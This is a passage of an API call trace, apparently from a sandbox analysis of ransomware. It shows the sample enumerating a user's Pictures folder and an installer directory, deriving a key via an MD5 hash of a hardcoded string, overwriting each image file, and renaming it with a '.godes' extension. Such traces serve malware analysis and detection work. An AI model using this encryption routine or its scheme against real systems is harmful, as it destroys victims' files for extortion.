dwFlags=0x0) returned 1 [0115.469] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.470] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.470] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.470] CloseHandle (hObject=0x624) returned 1 [0115.482] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.godes")) returned 1 [0115.484] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0115.484] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.484] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0115.484] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.484] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\") returned="aoQ9WvOr9RAjhS9\\" [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33215f8 [0115.484] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\") returned="KL GUyg5\\" [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0115.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33215f8 | out: hHeap=0x660000) returned 1 [0115.484] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0115.484] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0115.484] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0115.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.485] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.485] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.485] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.485] PathFindFileNameW (pszPath="") returned="" [0115.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.485] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb22f5cb0, ftCreationTime.dwHighDateTime=0x1d4c9bc, ftLastAccessTime.dwLowDateTime=0xa4118400, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xa4118400, ftLastWriteTime.dwHighDateTime=0x1d4c741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb22f5cb0, ftCreationTime.dwHighDateTime=0x1d4c9bc, ftLastAccessTime.dwLowDateTime=0xa4118400, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xa4118400, ftLastWriteTime.dwHighDateTime=0x1d4c741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad4bc6f0, ftCreationTime.dwHighDateTime=0x1d4d5ad, ftLastAccessTime.dwLowDateTime=0x3f42cb50, ftLastAccessTime.dwHighDateTime=0x1d4d183, ftLastWriteTime.dwLowDateTime=0x3f42cb50, ftLastWriteTime.dwHighDateTime=0x1d4d183, nFileSizeHigh=0x0, nFileSizeLow=0xcca8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6rXGcCpaY5U-.png", cAlternateFileName="6RXGCC~1.PNG")) returned 1 [0115.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0115.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.486] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\6rXGcCpaY5U-.png") returned=".png" [0115.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\6rXGcCpaY5U-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\6rxgccpay5u-.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.487] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=52392) returned 1 [0115.487] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.489] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcc82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.489] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.491] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.491] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xcca8, lpOverlapped=0x0) returned 1 [0115.492] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.492] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.492] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.492] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.492] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.492] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.493] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.493] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.493] GetLastError () returned 0x0 [0115.493] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.493] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xccb0) returned 0x3325120 [0115.493] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.493] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0xcca3, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0xcca3, lpOverlapped=0x0) returned 1 [0115.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.493] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcca8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.494] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.494] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.494] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.494] CloseHandle (hObject=0x624) returned 1 [0115.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e0) returned 0x331e748 [0115.495] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0115.495] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\6rXGcCpaY5U-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\6rxgccpay5u-.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\6rXGcCpaY5U-.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\6rxgccpay5u-.png.godes")) returned 1 [0115.495] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.495] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.496] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0115.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ddb2340, ftCreationTime.dwHighDateTime=0x1d4d1e4, ftLastAccessTime.dwLowDateTime=0xe505ea20, ftLastAccessTime.dwHighDateTime=0x1d4cfb4, ftLastWriteTime.dwLowDateTime=0xe505ea20, ftLastWriteTime.dwHighDateTime=0x1d4cfb4, nFileSizeHigh=0x0, nFileSizeLow=0x15c3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="befSSIGEkkRUG.png", cAlternateFileName="BEFSSI~1.PNG")) returned 1 [0115.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0115.496] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.496] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\befSSIGEkkRUG.png") returned=".png" [0115.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\befSSIGEkkRUG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\befssigekkrug.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.497] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=89150) returned 1 [0115.497] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.499] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15c18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.499] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.500] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.500] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x15c3e, lpOverlapped=0x0) returned 1 [0115.501] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.502] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.502] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.502] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.502] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.502] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.502] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.502] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.503] GetLastError () returned 0x0 [0115.503] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.503] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x15c40) returned 0x3325120 [0115.503] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.503] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0x15c39, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0x15c39, lpOverlapped=0x0) returned 1 [0115.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.503] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15c3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.504] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.504] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.504] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.504] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.504] CloseHandle (hObject=0x624) returned 1 [0115.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.506] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e0) returned 0x331e748 [0115.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0115.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\befSSIGEkkRUG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\befssigekkrug.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\befSSIGEkkRUG.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\befssigekkrug.png.godes")) returned 1 [0115.506] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.506] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0115.507] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f331320, ftCreationTime.dwHighDateTime=0x1d4d1d9, ftLastAccessTime.dwLowDateTime=0x4a3ec500, ftLastAccessTime.dwHighDateTime=0x1d4d3c6, ftLastWriteTime.dwLowDateTime=0x4a3ec500, ftLastWriteTime.dwHighDateTime=0x1d4d3c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K-e0Wu", cAlternateFileName="")) returned 1 [0115.507] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251c10 [0115.507] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.507] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251da0 [0115.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.508] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b125a0, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x557ea7c0, ftLastAccessTime.dwHighDateTime=0x1d4d2e3, ftLastWriteTime.dwLowDateTime=0x557ea7c0, ftLastWriteTime.dwHighDateTime=0x1d4d2e3, nFileSizeHigh=0x0, nFileSizeLow=0x3deb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rzr43Df_s8poAvL8Y1F.jpg", cAlternateFileName="RZR43D~1.JPG")) returned 1 [0115.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x106) returned 0x331f138 [0115.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.508] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\rzr43Df_s8poAvL8Y1F.jpg") returned=".jpg" [0115.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\rzr43Df_s8poAvL8Y1F.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\rzr43df_s8poavl8y1f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.508] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=15851) returned 1 [0115.508] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 